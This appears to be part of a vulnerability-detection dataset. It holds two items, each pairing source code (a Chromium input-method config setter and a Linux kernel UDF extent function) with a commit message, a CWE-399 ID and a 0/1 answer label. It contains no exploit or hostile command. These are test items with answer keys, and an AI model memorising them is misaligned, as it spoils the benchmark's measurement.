Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: virtual bool SetImeConfig(const std::string& section, const std::string& config_name, const ImeConfigValue& value) { if (section == language_prefs::kGeneralSectionName && config_name == language_prefs::kPreloadEnginesConfigName && value.type == ImeConfigValue::kValueTypeStringList) { active_input_method_ids_ = value.string_list_value; } MaybeStartInputMethodDaemon(section, config_name, value); const ConfigKeyType key = std::make_pair(section, config_name); current_config_values_[key] = value; if (ime_connected_) { pending_config_requests_[key] = value; FlushImeConfig(); } MaybeStopInputMethodDaemon(section, config_name, value); MaybeChangeCurrentKeyboardLayout(section, config_name, value); return pending_config_requests_.empty(); } Commit Message: Remove use of libcros from InputMethodLibrary. BUG=chromium-os:16238 TEST==confirm that input methods work as before on the netbook. Also confirm that the chrome builds and works on the desktop as before. Review URL: http://codereview.chromium.org/7003086 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@89142 0039d316-1c4b-4281-b951-d872f2087c98 CWE ID: CWE-399
1
170,505
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: static int udf_do_extend_file(struct inode *inode, struct extent_position *last_pos, struct kernel_long_ad *last_ext, sector_t blocks) { sector_t add; int count = 0, fake = !(last_ext->extLength & UDF_EXTENT_LENGTH_MASK); struct super_block *sb = inode->i_sb; struct kernel_lb_addr prealloc_loc = {}; int prealloc_len = 0; struct udf_inode_info *iinfo; int err; /* The previous extent is fake and we should not extend by anything * - there's nothing to do... */ if (!blocks && fake) return 0; iinfo = UDF_I(inode); /* Round the last extent up to a multiple of block size */ if (last_ext->extLength & (sb->s_blocksize - 1)) { last_ext->extLength = (last_ext->extLength & UDF_EXTENT_FLAG_MASK) | (((last_ext->extLength & UDF_EXTENT_LENGTH_MASK) + sb->s_blocksize - 1) & ~(sb->s_blocksize - 1)); iinfo->i_lenExtents = (iinfo->i_lenExtents + sb->s_blocksize - 1) & ~(sb->s_blocksize - 1); } /* Last extent are just preallocated blocks? */ if ((last_ext->extLength & UDF_EXTENT_FLAG_MASK) == EXT_NOT_RECORDED_ALLOCATED) { /* Save the extent so that we can reattach it to the end */ prealloc_loc = last_ext->extLocation; prealloc_len = last_ext->extLength; /* Mark the extent as a hole */ last_ext->extLength = EXT_NOT_RECORDED_NOT_ALLOCATED | (last_ext->extLength & UDF_EXTENT_LENGTH_MASK); last_ext->extLocation.logicalBlockNum = 0; last_ext->extLocation.partitionReferenceNum = 0; } /* Can we merge with the previous extent? */ if ((last_ext->extLength & UDF_EXTENT_FLAG_MASK) == EXT_NOT_RECORDED_NOT_ALLOCATED) { add = ((1 << 30) - sb->s_blocksize - (last_ext->extLength & UDF_EXTENT_LENGTH_MASK)) >> sb->s_blocksize_bits; if (add > blocks) add = blocks; blocks -= add; last_ext->extLength += add << sb->s_blocksize_bits; } if (fake) { udf_add_aext(inode, last_pos, &last_ext->extLocation, last_ext->extLength, 1); count++; } else udf_write_aext(inode, last_pos, &last_ext->extLocation, last_ext->extLength, 1); /* Managed to do everything necessary? */ if (!blocks) goto out; /* All further extents will be NOT_RECORDED_NOT_ALLOCATED */ last_ext->extLocation.logicalBlockNum = 0; last_ext->extLocation.partitionReferenceNum = 0; add = (1 << (30-sb->s_blocksize_bits)) - 1; last_ext->extLength = EXT_NOT_RECORDED_NOT_ALLOCATED | (add << sb->s_blocksize_bits); /* Create enough extents to cover the whole hole */ while (blocks > add) { blocks -= add; err = udf_add_aext(inode, last_pos, &last_ext->extLocation, last_ext->extLength, 1); if (err) return err; count++; } if (blocks) { last_ext->extLength = EXT_NOT_RECORDED_NOT_ALLOCATED | (blocks << sb->s_blocksize_bits); err = udf_add_aext(inode, last_pos, &last_ext->extLocation, last_ext->extLength, 1); if (err) return err; count++; } out: /* Do we have some preallocated blocks saved? */ if (prealloc_len) { err = udf_add_aext(inode, last_pos, &prealloc_loc, prealloc_len, 1); if (err) return err; last_ext->extLocation = prealloc_loc; last_ext->extLength = prealloc_len; count++; } /* last_pos should point to the last written extent... */ if (iinfo->i_alloc_type == ICBTAG_FLAG_AD_SHORT) last_pos->offset -= sizeof(struct short_ad); else if (iinfo->i_alloc_type == ICBTAG_FLAG_AD_LONG) last_pos->offset -= sizeof(struct long_ad); else return -EIO; return count; } Commit Message: udf: Avoid infinite loop when processing indirect ICBs We did not implement any bound on number of indirect ICBs we follow when loading inode. Thus corrupted medium could cause kernel to go into an infinite loop, possibly causing a stack overflow. Fix the possible stack overflow by removing recursion from __udf_read_inode() and limit number of indirect ICBs we follow to avoid infinite loops. Signed-off-by: Jan Kara <jack@suse.cz> CWE ID: CWE-399
0
36,048